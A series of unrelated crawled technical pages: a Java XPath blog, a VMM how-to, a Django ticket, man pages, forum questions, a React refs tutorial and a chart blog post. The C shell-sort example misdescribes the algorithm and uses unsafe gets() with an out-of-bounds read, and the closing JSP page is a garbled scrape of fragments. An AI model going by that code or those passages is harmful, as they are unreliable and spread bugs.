Personally, I have found the API to be sufficient for most of my use cases. However, there is a bit of an impedance mismatch with the RI's implementation that is based on Xalan. Namely that Xalan (as well as XSLTC) use an internal representation for the infoset known as DTM. So every time you run a query, a new DTM must be created before the XPath expression can be evaluated. Thus, if you do this in a loop (as a typical benchmark would) the performance will be dominated by the DTM creation, not the query evaluation per se. Moreover, even if you do need to run multiple queries on the same infoset, the current API does not support that, so the cost of building DTMs in the RI cannot be amortized by running multiple queries.
So how common is to run multiple queries over the same infoset? I'm not certain, but I know of some Business Process Management tools that could use this feature, and this is why it has made it into our list of things to consider. What else is on our list? Support for streaming in XPath, i.e. the ability to execute a query in constant space. We heard and read a number of articles about this technique, but again, I'm not actually sure how many people actually need this or how many people are using this technique today.
As I mentioned at the beginning, the main purpose of this blog was to collect feedback from you. So this is your turn now. We'd like to hear from you on ways of improving support for XPath in the API and the RI. I almost forgot, there's also the topic of XPath 2.0, and naturally we want to hear from you on the need to support this new version as well.
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- spericas's blog
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http://weblogs.java.net/blog/spericas/archive/2007/01/whats_next_for.html
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crawl-003
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refinedweb
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How to Add a Host Cluster to VMM
Updated: January 22, 2011
Applies To: Virtual Machine Manager 2008, Virtual Machine Manager 2008 R2, Virtual Machine Manager 2008 R2 SP1
Use the following procedure to add a failover cluster created in any of the following versions of the Windows Server 2008 operating system to VMM as a host cluster: Windows Server 2008 R2 Enterprise Edition, Windows Server 2008 R2 Datacenter Edition, Windows Server 2008 Enterprise Edition, or Windows Server 2008 Datacenter Edition. VMM 2008 supports creating and managing highly available virtual machines, also known as HAVMs, on host clusters.
Before you begin
Create the failover cluster by using the Failover Cluster Management snap-in of Windows Server 2008 or Windows Server 2008 R2.
Before you create the cluster, you must run validation wizard by using Failover Cluster Manager to ensure that the configuration of your servers, networks, and storage meets a set of specific requirements for failover clusters. For more information, see Hyper-V: Using Hyper-V and Failover Clustering ().
If you are adding a failover cluster that was created in Windows Server 2008, ensure that all nodes of the cluster are turned on and are connected to the network. This is not required for clusters created in Windows Server 2008 R2.
Ensure that the host cluster is in a domain that is trusted by the domain of the VMM server.
Unlike stand-alone hosts in VMM, host clusters must be in an Active Directory domain that has a two-way trust relationship with the domain that contains the VMM server. VMM does not support managing a host cluster in an Active Directory domain that is not trusted or managing a host cluster on a perimeter network. The failover cluster can be in a disjointed namespace.
Before you add a host cluster is in a disjointed namespace to a VMM server that is not in a disjointed namespace, you must add the DNS suffix for the host cluster to the TCP/IP connection settings on the VMM server.
For detailed information about host cluster requirements in VMM, see Configuring Host Clusters in VMM to Support Highly Available Virtual Machines ().
After completing the prerequisites, you can add the host cluster to VMM as you would any stand-alone host, by using the Add Hosts Wizard. When you specify either the name of the cluster or the name of any node in the cluster, VMM discovers all nodes of the failover cluster, enables the Hyper-V role in Windows Server 2008 if needed, and adds the host cluster to VMM.
To add a host cluster to VMM
In any view in the VMM Administrator Console, in the Actions pane, click Add hosts to open the Add Hosts Wizard.
On the Select Host Location page, click Windows Server-based host on an Active Directory domain and type the credentials for a domain account with administrative rights on all of the cluster nodes. Ensure that the Host is in a trusted domain check box is selected. Then click Next.
On the Select Host Servers page, in the Computer name box, type either the name of the cluster or the name of any node in the cluster, and then click Add.
If you specify a node of the cluster, the name of the host should be the NetBIOS name, not the IP address.
When you specify the name of a failover cluster that was created in Windows Server 2008 or Windows Server 2008 R2, or you specify a node in one of these clusters, the Add Hosts Wizard discovers all nodes in the cluster and adds them to VMM.
On the Configuration Settings page, do the following:
- In the Host group box, specify the host group that will contain the host cluster. any of the cluster nodes is a host or a library server that is currently being managed by another VMM server, select the Reassociate host with this Virtual Machine Manager server check box to associate those hosts with the current VMM server.
On the Host Properties page, enter specifications for remote connections in the Remote connection area. By default, the Enable remote connections to virtual machines on these hosts check box is selected and set to use the global default port setting.
- To disable remote connections, clear the Enable remote connections to virtual machines on these hosts check box.
- To use a different port for remote connections, enter a value from 1–65,535 in the Remote connection port box.
On the Summary page, click Add Hosts.
Additional Resources
- Configuring Host Clusters in VMM to Support Highly Available Virtual Machines ()
- Creating and Managing Highly Available Virtual Machines in VMM ()
- Hyper-V: Using Hyper-V and Failover Clustering ()
- Managing Host Clusters
- Adding Hosts
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http://technet.microsoft.com/en-us/library/ee236431.aspx
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refinedweb
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Opened 6 years ago
Closed 6 years ago
Last modified 4 years ago
#27018 closed Bug (fixed)
Admin views in admindocs crash with AttributeError
Description
When using
django.contrib.admindocs the views under the
admin namespace are not available. With the exception of
/admin/<app_label>/<model>/<var>/ and
/admin/r/<content_type_id>/<object_id>/.
Django 1.9.8 returns a HTTP 404 while 1.10 raises an attribute error. It appears that only views that are defined as methods on a class are an issue.
This is likely related to #24931 and #23601.
Change History (13)
comment:1 Changed 6 years ago by
comment:2 Changed 6 years ago by
I'll have a look at this.
comment:3 Changed 6 years ago by
The problem is that the callbacks for these views are methods on classes.
For those two links that do work:
/admin/r/<content_type_id>/<object_id>/ view function is
django.contrib.contenttypes.views.shortcut
/admin/<app_label>/<model>/<var>/ view function is
django.views.generic.base.RedirectView
and both of those exist and can be resolved in
ViewDetailView so they're fine.
However for
/admin/ the view function is shown as
django.contrib.admin.sites.index which does not exist. It's
django.contrib.admin.sites.AdminSite.index (or
django.contrib.admin.sites.site.index since the sites module exposes an instance of AdminSite). This means the view function is insufficiently specified on the URL for the view detail.
This is true for all the others that are crashing.
Next step will be to write some failing tests.
comment:4 Changed 6 years ago by
I'm working on branch
Have written tests for the detail and index views.
comment:5 Changed 6 years ago by
I've fixed this but it's a Python 3 only fix due to the use of
__qualname__ to find out which class the view comes from and therefore generate the correct URL.
There are ways to emulate
__qualname__ in py2, but kind of hacky. I see in migrations/serializers.py qualname is also used and a message generated for py2 users. Is a Python 3 only solution acceptable here? In Python 2 it will continue to just not work (and could be tidied up to raise a 404 rather than an error).
I am not sure what is the best thing here, so some input would be good! All is pushed to the branch linked above.
There is also the issue of ensuring the tests pass (i.e. I have added test cases but they only pass for python 3).
comment:6 Changed 6 years ago by
I don't mind if the fix is Python 3 only. Python 2 raising a 404 as happened in older versions of Django would be okay.
comment:7 Changed 6 years ago by
Awesome Helen! A Python 3 solution would be fine and more than we have now :)
For the tests I'd either go with
if six.PY2: validate_stuff_py2() else: validate_stuff_py3()
or
@unittest.skipIf(six.PY2, "Only supported for Python 3") def test_foo_py3(self): validate_stuff_py3() @unittest.skipIf(six.PY3, "Only supported for Python 2") def test_foo_py2(self): validate_stuff_py2()
The first might be easier to maintain (for the time where we still have general Python 2 support in Django).
comment:8 Changed 6 years ago by
PR:
Tests pass on 2.7 and 3.5. I have also added a note in the documentation about this.
comment:9 Changed 6 years ago by
Left some comments for improvement.
comment:10 Changed 6 years ago by
Hi Tim, thank you for the review! I have made improvements as suggested.
comment:11 Changed 6 years ago by
comment:12 Changed 6 years ago by
comment:13 Changed 4 years ago by
This seems to have introduced a bug:
Bisected the change in 1.10 to 31a789f646d0d9af3e8464f2f9a06aa018df5f90.
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https://code.djangoproject.com/ticket/27018?cversion=0&cnum_hist=13
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refinedweb
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Salsa
A .NET Bridge for Haskell
This package is not currently in any snapshots. If you're interested in using it, we recommend adding it to Stackage Nightly. Doing so will make builds more reliable, and allow stackage.org to host generated Haddocks.
Salsa: a .NET bridge for Haskell
Salsa is an experimental Haskell library and code generator that allows
Haskell programs to host the .NET runtime and interact with .NET libraries.
It uses type families extensively to provide a type-safe mapping of the .NET
object model in the Haskell type system.
What's in the package:
* 'Foreign' contains the Haskell library 'Foreign.Salsa'.
This library provides the Haskell-side interface to Salsa, including:
functions to load the .NET runtime into the process, functions for
interacting with .NET classes and objects, and the required type-level
machinery. It works together with the Haskell modules created by the
generator (see below) to provide access to .NET classes and their members.
* 'Driver' contains the Salsa .NET driver assembly (Salsa.dll).
The driver assembly contains .NET code that is loaded automatically by the
Salsa library when the .NET runtime is loaded into the process. It
provides run-time code generation facilities for calling in and out of the
.NET runtime from Haskell. The assembly binary (Salsa.dll) is embedded in
'Foreign\Salsa\Driver.hs' using the 'Embed.hs' utility program.
* 'Generator' contains the Salsa binding generator.
The generator is a C# program that creates Haskell modules from .NET
metadata to provide type-safe access to the requested .NET classes and
methods in .NET assembilies.
Note: the generator requires .NET 3.5 because it uses the 'System.Linq'
namespace.
* 'Samples' contains a few Haskell programs that use Salsa.
- Hello: a basic console 'Hello World' program.
- Weather: a console program that asynchronously downloads the Sydney
weather forecast and displays it.
- Conway: a simulator for Conway's Game of Life with a Windows
Presentation Foundation GUI. (Requires .NET 3.0 or later.)
Requirements:
* GHC 7.8
Salsa makes use of extensions that have only been available since version
7.8 of GHC.
* Microsoft .NET Framework 3.5 / Mono
Since the
Building with Mono and running Salsa executables on Mono works. Salsa
will be built with Mono if not running on Windows or the flag 'use_mono'
is used when building with Cabal.
Building:
First build the Salsa.dll driver assembly. (See the README file within the 'Driver
directory).
Then build an install the Salsa library using Cabal as usual:
cabal install
Authors:
Andrew Appleyard
Tim Matthews
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https://www.stackage.org/package/Salsa
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log1p - compute a natural logarithm
#include <math.h> double log1p (double x);
The log1p() function computes loge(1.0 + x). The value of x must be greater than -1.0.
Upon successful completion, log1p() returns the natural logarithm of 1.0 + x.
If x is NaN, log1p() returns NaN and may set errno to [EDOM].
If x is less than -1.0, log1p() returns -HUGE_VAL or NaN and sets errno to [EDOM].
If x is -1.0, log1p() returns -HUGE_VAL and may set errno to [ERANGE].
The log1p() function will fail if:
- [EDOM]
- The value of x is less than -1.0.
The log1p() function may fail and set errno to:
- [EDOM]
- The value of x is NaN.
- [ERANGE]
- The value of x is -1.0.
No other errors will occur.
None.
None.
None.
log(), <math.h>.
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http://pubs.opengroup.org/onlinepubs/7990989775/xsh/log1p.html
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C Program to sort the string, using shell sort technique. Shell sort is the one of the oldest sorting technique, quite well for all types of arrays in c. The shell sort is a “diminishing increment sort”, better known as a “comb sort” to the unwashed programming masses. The algorithm makes multiple passes through the list, and each time sorts a number of equally sized sets using the insertion sort . The size of the set to be sorted gets larger with each pass through the list, until the set consists of the entire list. This sets the insertion sort up for an almost-best case run each iteration with a complexity that approaches O(n) . Read more about C Programming Language .
/***********************************************************
* You can use all the programs on
* for personal and learning purposes. For permissions to use the
* programs for commercial purposes,
* contact info@c-program-example.com
* To find more C programs, do visit
* and browse!
*
* Happy Coding
***********************************************************/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void shell_sort(char *chars, int c) {
register int i, j, space, k;
char x, a[5];
a[0]=9; a[1]=5; a[2]=3; a[3]=2; a[4]=1;
for(k=0; k < 5; k++) {
space = a[k];
for(i=space; i < c; ++i) {
x = chars[i];
for(j=i-space; (x < chars[j]) && (j >= 0); j=j-space)
chars[j+space] = chars[j];
chars[j+space] = x;
}
}
}
int main() {
char string[300];
printf("Enter a string:");
gets(string);
shell_sort(string, strlen(string));
printf("The sorted string is: %s.n", string);
return 0;
}
Read more Similar C Programs
Array In C
Sorting Techniques)
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http://c-program-example.com/2011/10/c-program-to-sort-the-string-using-shell-sort-technique.html
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Can someone please explain why this program does not work? Also, for some reason, I cannot get my cin.get() to pause and await a key press from the user. I know both items are rather simple but I have drawn a blank. Thank you all!
Code:#include <iostream> #include <cstdlib> int choice; int main() { using namespace std; cout << "Do you want to hear a joke?" << endl; cout << "Enter y for yes or n for no:" << endl; cin >> choice; if (choice == 'y' || choice == 'Y') { cout << "\n" << endl; cout << "What do you call a guy with" << endl; cout << "no arms and no legs laying on the floor?" << endl; cout << "\n" << endl; cin.get(); cout << "Matt!" << endl; } else if (choice == 'n' || choice == 'N') { cout << "Program will end." << endl; return 1; } return 0; }
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https://cboard.cprogramming.com/cplusplus-programming/134185-if-else-if-question.html
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James, I'm sorry I didn't show it but using socket.gethostname() as the source of hostname works just fine, too.
import socket
>>> hostname = socket.gethostname()
>>> hostname
'harj.local'
>>> socket.getaddrinfo(hostname, None)
[(<AddressFamily.AF_INET6: 30>, <SocketKind.SOCK_DGRAM: 2>, 17, '', ('fe80::8d8:1de3:dfa:e34c%en1', 0, 0, 5)), (<AddressFamily.AF_INET6: 30>, <SocketKind.SOCK_STREAM: 1>, 6, '', ('fe80::8d8:1de3:dfa:e34c%en1', 0, 0, 5)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_DGRAM: 2>, 17, '', ('10.0.1.7', 0)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_STREAM: 1>, 6, '', ('10.0.1.7', 0))]
I don't know what to tell you other than the behavior you are seeing is almost certainly not a Python issue. There are many other ways to explore host names, like using the "host" command line utility or "netstat". But that is all beyond the scope of this bug tracker. If you need more assistance, perhaps ask on one of the StackExchange forums or Apple lists. I'm going to close this issue; if you are able to isolate what appears to be a Python issue here, please feel free to re-open this. Good luck!
|
https://bugs.python.org/msg288846
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sigqueue man page
Prolog
This manual page is part of the POSIX Programmer's Manual. The Linux implementation of this interface may differ (consult the corresponding Linux manual page for details of Linux behavior), or the interface may not be implemented on Linux.
sigqueue — queue a signal to a process
Synopsis
#include <signal.h> int sigqueue(pid_t pid, int signo, const union sigval value);
Description.
Return Value
Upon successful completion, the specified signal shall have been queued, and the sigqueue() function shall return a value of zero. Otherwise, the function shall return a value of -1 and set errno to indicate the error.
Errors appropriate privileges to send the signal to the receiving process.
- ESRCH
The process pid does not exist.
The following sections are informative.
Examples
None.
Application Usage
None.
Rationale POSIX.1-2008 POSIX.1-2008 does not preclude this behavior, but an implementation that allocated queuing resources from a system-wide pool (with per-sender limits) and that leaves queued signals pending after the sender exits is also permitted.
Future Directions
None.
See Also
Section 2.8.1, Realtime Signals
kill(3p), pthread_sigmask(3p), signal.h(0p).
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https://www.mankier.com/3p/sigqueue
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writing.
The stdlib has an obscure module bdb (basic debugger) that is used in both pdb (python debugger) and idlelib.Debugger. The latter can display global and local variable names. I do not know if it does anything other than rereading globals() and locals(). It only works with a file loaded in the editor, so it potentially could read source lines to looks for name binding statements (=, def, class, import) and determine the names just bound. On the other hand, re-reading is probably fast enough for human interaction.
My impression from another issue is that traceing causes the locals dict to be updated with each line, so you do not actually have to have to call locals() with each line. However, that would mean you have to make copies to compare.
My code has this structure:
class Example(wx.Frame,listmix.ColumnSorterMixin):
def __init__(self,parent):
wx.Frame.__init__(self,parent)
self.InitUI()
def InitUI(self):
.....
when a button is clicked this function is called and i take the self.id_number which is a number
def OnB(self, event):
self.id_number = self.text_ctrl_number.GetValue()
aa = latitude[int(self.id_number)]
bb = longitude[int(self.id_number)]
I want to pass the variables aa and bb to a different script called application. This script by calling it with import, automatically pop up a window. I need by clicking the button that is linked with OnB definition to pop up the window from the other script as it does when i am running it alone and display lets say for example the variables aa and bb, how can I do it
I've been using the settrace function to write a tracer for my program, which is working great except that it doesn't seem to work for built-in functions, like open('filename.txt'). This doesn't seem to be documented, so I'm not sure if I'm doing something wrong or that's the expected behavior.
If settrace's behavior in this regard is fixed, is there any way to trace calls to open()? I don't want to use Linux's strace, as it'll run for whole program (not just the part I want) and won't show my python line numbers/file names, etc. The other option I considered was monkey-patching the open function through a wrapper, like:
def wrapped_open(*arg,**kw):
print 'open called'
traceback.print_stack()
f = __builtin__.open(*arg,**kw)
return f
open = wrapped_open
but that seemed very brittle to me. Could someone suggest a better way of doing this?
To loop though an iterator one usually uses a higher-level construct such as a 'for' loop. However, if you want to step through it manually you can do so with next(iter).
I expected the same functionality with the new 'asynchronous iterator' in Python 3.5, but I cannot find it.
I can achieve the desired result by calling 'await aiter.__anext__()', but this is clunky.
Am I missing something?
I know basic of python and I have an xml file created from csv which has three attributes "category", "definition" and "definition description". I want to parse through xml file and identify actors, constraints, principal from the text.
However, I am not sure what is the best way to go. Any suggestion?)
Forgot Your Password?
2018 © Queryhome
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https://tech.queryhome.com/4209/collecting-variable-assignments-through-settrace
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There.
To highlight one such situation, take a look at the Colorizer example (view in separate window):
The Colorizer colorizes the (currently) white square with whatever color you provide it. To see it in action, enter a color value inside the text field and click/tap on the go button. If you don't have any idea of what color to enter, yellow is a good one! Once you have provided a color and submitted it, the white square will turn whatever color value you provided:
That the square changes color for any valid color value you submit is pretty awesome, but it isn't what I want you to focus on. Instead, pay attention to the text field and the button after you submit a value. Notice that the button gets focus, and the color value you just submitted is still displayed inside the form. If you want to enter another color value, you need to explicitly return focus to the text field and clear out whatever current value is present. Eww! That seems unnecessary, and we can do better than that from a usability point of view!
Now, wouldn't it be great if we could clear both the existing color value and return focus to the text field immediately after you submit a color? That would mean that if we submitted a color value of purple, what we would see afterwards would look as follows:
The entered value of purple is cleared, and the focus is returned to the text field. This allows us to enter additional color values and submit them easily without having to keep jumping focus back and forth between the text field and the button. Isn't that much nicer?
Getting this behavior right using JSX and traditional React techniques is hard. We aren't even going to bother with explaining how to go about that. Getting this behavior right by dealing with the JavaScript DOM API on various HTML elements directly is pretty easy. Guess what we are going to do? In the following sections, we are going to use something known as refs that React provides to help us access the DOM API on HTML elements. We'll also look at something known as portals that allow us to render content to any HTML element on the page.
Onwards!
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To explain refs and portals, we'll be modifying the Colorizer example we saw earlier. The code for it looks as follows:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>The Colorizer!</title> <script src="[email protected]/umd/react.development.js"></script> <script src="[email protected]/umd/react-dom.development.js"></script> <script src="[email protected]/babel.min.js"></script> <style> #container { padding: 50px; background-color: #FFF; } .colorSquare { box-shadow: 0px 0px 25px 0px #333; width: 242px; height: 242px; margin-bottom: 15px; } .colorArea input { padding: 10px; font-size: 16px; border: 2px solid #CCC; } .colorArea button { padding: 10px; font-size: 16px; margin: 10px; background-color: #666; color: #FFF; border: 2px solid #666; } .colorArea button:hover { background-color: #111; border-color: #111; cursor: pointer; } </style> </head> <body> <div id="container"></div> <script type="text/babel"> class Colorizer extends React.Component { constructor(props, context) { super(props, context); this.state = { color: "", bgColor: "white" }; this.colorValue = this.colorValue.bind(this); this.setNewColor = this.setNewColor.bind(this); } colorValue(e) { this.setState({ color: e.target.value }); } setNewColor(e) { this.setState({ bgColor: this.state.color }); e.preventDefault(); }> ); } } ReactDOM.render( <div> <Colorizer /> </div>, document.querySelector("#container") ); </script> </body> </html>
Take a few moments to look through the code and see how it maps to what our example works. There shouldn't be anything surprising here. Once you've gotten a good understanding of this code, it's time for us to first learn about refs.
As you know very well by now, inside our various render methods, we've been writing HTML-like things known as JSX. Our JSX is simply a description of what the DOM should look like. It doesn't represent actual HTML...despite looking a whole lot like it. Anyway, to provide a bridge between JSX and the final HTML elements in the DOM, React provides us with something funnily named known as refs (short for references).
The way refs works is a little odd. The easiest way to make sense of it is to just use it. Below is just the render method from our Colorizer example:> ); }
Inside this render method, we are returning a big chunk of JSX representing (among other things) the input element where we enter our color value. What we want to do is access the input element's DOM representation so that we can call some APIs on it using JavaScript.
The way we do that using refs is by setting the ref attribute on the element we would like to reference the HTML of:
render() { var squareStyle = { backgroundColor: this.state.bgColor }; return ( <div className="colorArea"> <div style={squareStyle}</div> <form onSubmit={this.setNewColor}> <input onChange={this.colorValue} ref={}</input> <button type="submit">go</button> </form> </div> ); }
Because we are interested in the input element, our ref attribute is attached to it. Right now, our ref attribute is empty. What you typically set as the ref attribute's value is a JavaScript callback function. This function gets called automatically when the component housing this render method gets mounted. If we set our ref attribute's value to a simple JavaScript function that stores a reference to the referenced DOM element, it would look something like the following highlighted lines:
render() { var squareStyle = { backgroundColor: this.state.bgColor }; var self = this; return ( <div className="colorArea"> <div style={squareStyle}</div> <form onSubmit={this.setNewColor}> <input onChange={this.colorValue} ref={ function(el) { self._input = el; } }</input> <button type="submit">go</button> </form> </div> ); }
The end result of this code running once our component mounts is simple: we can access the HTML representing our input element from anywhere inside our component by using self._input. Take a few moments to see how the highlighted lines of code help do that. Once you are done, we'll walk through this code together.
First, our callback function looks as follows:
function(el) { self._input = el; }
This anonymous function gets called when our component mounts, and a reference to the final HTML DOM element is passed in as an argument. We capture this argument using the el identifier, but you can use any name for this argument that you want. The body of this callback function simply sets a custom property called _input to the value of our DOM element. To ensure we create this property on our component, we use the self variable to create a closure where the this in question refers to our component as opposed to the callback function itself. Phew!
Now, let's focus on just what we can do now that we have access to our input element. Our goal is to clear the contents of our input element and give focus to it once the form gets submitted. The code for doing that will live in our setNewColor method, so add the following highlighted lines:
setNewColor(e){ this.setState({ bgColor: this.state.color }); this._input.focus(); this._input.value = ""; e.preventDefault(); }
By calling this._input.value = "", we clear the color you entered. We set focus back to our input element by calling this._input.focus(). All of our ref related work was to simply enable these two lines where we needed some way to have this._input point to the HTML element representing our input element that we defined in JSX. Once we figured that out, we just call the value property and focus method the DOM API exposes on this element.
Learning React is hard enough, so I have tried to shy away from forcing you to use ES6 techniques by default. When it comes to working with the ref attribute, using arrow functions to deal with the callback function does simplify matters a bit. This is one of those cases where I recommend you use an ES6 technique.
As you saw a few moments ago, to assign a property on our component to the referenced HTML element, we did something like this:
<input ref={ function(el) { self._input = el; } }> </input>
To deal with context shenanigans, we created a self variable initialized to this to ensure we created the _input property on our component. That seems unnecessarily messy.
Using arrow functions, we can simplify all of this down to just the following:
<input ref={ (el) => this._input = el }> </input>
The end result is identical to what we spent all of this time looking at, and because of how arrow functions deal with context, you can use this inside the function body and reference the component without doing any extra work. No need for an outer self variable equivalent!
There is one more DOM-related trick that you need to be aware of. So far, we've only been dealing with HTML in the context of what our JSX generates - either from a single component or combined through many components. This means we are limited by the DOM hierarchy our parent components impose on us. Having arbitrary access to any DOM element anywhere on the page doesn't seem like something we can do. Or can we? Well...as it turns out, you can! You can choose to render your JSX to any DOM element anywhere on the page. You aren't limited to just sending your JSX to a parent component! The magic behind this wizardry is a feature known as portals.
The way you use a portal is very similar to what we do with our ReactDOM.render method. We specify the JSX we want to render, and we specify the DOM element we want to render to. To see all of this in action, go back to our example and add the following h1 element as a sibling just above where we have our container div element defined:
<body> <h1 id="colorHeading">Colorizer</h1> <div id="container"></div> . . .
Next, add the following style rule inside the style tag to make our h1 element look nicer:
#colorHeading { padding: 0; margin: 50px; margin-bottom: -20px; font-family: sans-serif; }
With this style rule added, let's first preview our app to make sure that the HTML and CSS we added look as expected:
Here is what we want to do. We want change the value of our h1 element to display the name of the color we are currently previewing. The point to emphasize is that our h1 element is a sibling of our container div element where our app is set to render into.
To accomplish what we are trying to do, go back to our Colorizer component's render method and add the following highlighted line to the return statement:
return ( <div className="colorArea"> <div style={squareStyle}</div> <form onSubmit={this.setNewColor}> <input onChange={this.colorValue} ref={ function(el) { self._input = el; } }</input> <button type="submit">go</button> </form> <ColorLabel color={this.state.bgColor}/> </div> );
What we are doing is instantiating a component called ColorLabel and declaring a prop called color with its value set to our bgColor state property. We haven't created this component yet, so to fix that, add the following lines just above where we have our ReactDOM.render call:
var heading = document.querySelector("#colorHeading"); class ColorLabel extends React.Component { render() { return ReactDOM.createPortal( ": " + this.props.color, heading ); } }
We are referencing our h1 element with the heading variable. That's old stuff. For the new stuff, take a look at our ColorLabel component's render method. More specifically, notice what our return statement looks like. What we are returning is the result of calling ReactDOM.createPortal():
class ColorLabel extends React.Component { render() { return ReactDOM.createPortal( ": " + this.props.color, heading ); } }
The ReactDOM.createPortal() method takes two arguments - the JSX to print and the DOM element to print that JSX to. The JSX we are printing is just some formatting characters and the color value we passed in as a prop:
class ColorLabel extends React.Component { render() { return ReactDOM.createPortal( ": " + this.props.color, heading ); } }
The DOM element we are printing all of this to is our h1 element referenced by the heading variable:
class ColorLabel extends React.Component { render() { return ReactDOM.createPortal( ": " + this.props.color, heading ); } }
When you preview your app and change the color, notice what happens. The color we specified in our input element shows up in the heading:
The important part to re-emphasize is that our h1 element is outside the scope of our main React app which prints to our container div element. By relying on portals, we have direct access to any element in our page's DOM and can render content into it - bypassing the traditional parent/child hierarchy we've been living under so far!
Most of the time, everything you want to do will be within arm's reach of the JSX you are writing. There will be times when you need to break free from the box React puts you in. Even though everything we are creating is rendering to a HTML document, our React app is like a self-sufficient tropical island within the document where you never quite see the actual HTML that is just beneath the sands. To help you both see the HTML inside the island and make contact with things that live outside of the island, we looked at two features, refs and portals. Refs allow you to cut through and access the underlying HTML element behind the JSX. Portals allow you to render your content to any element in the DOM you have access to. Between these two solutions, you should be able to easily address any need that you may have to deal with the DOM directly!
Next tutorial: Events! )
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https://www.kirupa.com/react/accessing_dom_elements.htm
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Apply Semi-Transparency to the Chart
Posted by milang on January 22, 2009
Let’s take a break from pie charts for today so that we can talk about how to set semi-transparent colors on the chart. The ‘faded’ or ‘soft’ look shows up in all of the gallery images in the chart sample framework, so I spent hours scratching my head about how to apply that look to my charts before I found my main man Victor’s post on the MSDN ASP.NET chart forum.
I’ve got an area chart that looks something like this:
The second series obscures the data points in the first series. At this point, we have a couple of options so that we can see every data point: 1) Set this to be a stacked area chart. That fixes the problem of obscured data points but it becomes difficult to compare the two series because they are stacked instead of on the same line of sight, 2) Set the series to be another chart type. Nothing wrong with changing these series so that they are line charts, but what if I still want to show an area chart?
How to Show Hidden Points on an Overlapped Area Chart
The key is to set semi-transparencies for each data point on the chart, not on the palette. We could also have changed the Chart.Palette to SemiTransparent but the color scheme is kinda ugly compared to the BrightPastel palette.
Here’s the code from Victor’s post:
using System.Web.UI.DataVisualization.Charting; using System.Drawing; public partial class AreaChart : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { // Using 200 as my transparency value, but any value between 0-255 is valid SetChartTransparency(Chart1, 200); } private void SetChartTransparency(Chart chart, byte alpha) { // Apply palette colors so that they are populated into chart before being manipulated chart.ApplyPaletteColors(); // Iterate through data points and set alpha values for each foreach (Series series in chart.Series) foreach (DataPoint point in series.Points) point.Color = Color.FromArgb(alpha, point.Color); } }
I was trying to set the transparency on the series, but apparently you have to set it at the data point level. Maybe it has something to do with the fact that the data point properties (if they have been explicitly set) always override the series properties.
Thanks Victor!
|
https://betterdashboards.wordpress.com/2009/01/22/apply-semi-transparency-to-the-chart/
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JSP bean set property
JSP bean set property
... you a code that help in describing an
example from JSP bean set property...:useBean> -
The < jsp:use Bean>
instantiate a bean class
bean object
bean object i have to retrieve data from the database and want to store in a variable using rs.getString and that variable i have to use in dropdown in jsp page.
1)Bean.java:
package form;
import java.sql.*;
import
JSP
access application data stored in JavaBeans components. The jsp expression language allows a page author to access a bean using simple syntax such as $(name). Before JSP 2.0, we could use only a scriptlet, JSP expression, or a custom
Form processing using Bean
Form processing using Bean
In this section, we will create a JSP form using bean ,which will use a class
file for processing. The standard way of handling...;beanformprocess2.jsp" to retrieve the data
from bean..
<jspSP
Use Of Form Bean In JSP
Use Of Form Bean In JSP
... about the
procedure of handling sessions by using Java Bean. This section provides...
or data using session through the Java Bean.
Program Summary:
There are
jsp - JSP-Servlet
/loginbean.shtml
http...://
Connect from database using JSP Bean file
Connect from database using JSP Bean file....
<jsp:useBean id=?bean name?
class=?bean class? scope... that defines the bean.
<jsp:setProperty name = ?id?
property
jsp
jsp how to create a table in oracle using jsp
and the table name is entered in text feild of jsp page code for jsp automatic genration using html
JSP
JSP FILE UPLOAD-DOWNLOAD code USING J
jsp
jsp how to assign javascript varible to java method in jsp without using servlet
Writing Calculator Stateless Session Bean
'
bean.
Writing JSP and Web/Ear component
Our JSP file access the session bean...Writing Calculator Stateless Session Bean... Bean for multiplying the values entered by user. We will use ant
build tool
Using Beans in JSP. A brief introduction to JSP and Java Beans.
JSP
; Hi Friend,
Please visit the following links:
Thanks
Getting a Property value in jsp
GetProperties()
{}
}
In the above example, we are using bean with <jsp... of
accessing properties of bean by using getProperty tag which automatically sends... a Property Value</H1>
<jsp:useBean p>in my project i have following jsp in this jsp the pagesize..." prefix="bean"%></p>
<p><%
Log log = LogFactory.getLog...()%>" class="inactiveFuncLn" target="bodyFrame"><bean:message bundle... an id of some format using the following code.
public class GenerateSerialNumber
jsp
JSP entered name and password is valid HII Im developing a login page using jsp and eclipse,there are two fields username and password,I want...
{
response.sendRedirect("/examples/jsp/login.jsp");
}
}
catch sir i am trying to connect the jsp with oracle connectivity... are using oracle oci driver,you have to use:
Connection connection... are using oracle thin driver,you have to use:
Connection connection,please send me login page code using jsp
1)login.jsp:
<html>
<script>
function validate(){
var username=document.form.user.value;
var password=document.form.pass.value;
if(username==""){
alert
jsp ouestion
jsp ouestion I have 1 report in my project.In that report i have used java bean.I want to make 1 more report by using data of first report. plz help me.....to get data from bean in second report
jsp
jsp I'm attempting to run the program , I got the following error.I am using
Apache Tomcat/5.0.28 , jdk1.6
HTTP Status 500 -
type Exception report
description The server encountered an internal error
Implementing Bean with script let in JSP
Implementing Bean with script let in JSP...;
This application illustrates how to create a bean class and how to
implement it with script let of jsp for inserting the data in mysql table.
In this example we create
JSP -... displays all of the items selected. The selection of items is made using checkboxes
report generation using jsp
report generation using jsp report generation coding using jsp
java bean code - EJB
java bean code simple code for java beans Hi Friend... the Presentation logic. Internally, a bean is just an instance of a class.
Java Bean Code:
public class EmployeeBean{
public int id;
public
using Bean and Servlet In JSP |
Record user login and
logout timing In JSP... in JSP File |
Alphabetical DropDown Menu In JSP |
Using Bean
Counter... to Open JSP
| Add and
Element Using Javascript in JSP |
Java bean
A Java Program by using JSP
A Java Program by using JSP how to draw lines by using JSP plz show me the solution by using program
jsp login page
jsp login page hi tell me how to create a login page using jsp and servlet and not using bean... please tell how to create a database in sql server... please tell with code
Error in using java beans - JSP-Servlet
Error in using java beans I am getting the following error when I run the jsp code.
type Exception report
description The server...: Unable to load class for JSP
library management system jsp project
library management system jsp project i need a project of library management system using jsp/java bean
generate charts using JSP
generate charts using JSP any one know coding for generate bar chart or pie chart using JSP
ScatterPlot using jsp
ScatterPlot using jsp hi,
can anybody provide me code for ScatterPlot using jsp.
thanks
datasource in jsp using struts
datasource in jsp using struts how to get the datasource object in jsp.datasource is configured in struts-config.xml
JSP Examples
Authentication using Bean and Servlet In JSP
Record user login and logout....
This section will help you create web applications using JSP. In this page
you...
in JSP.
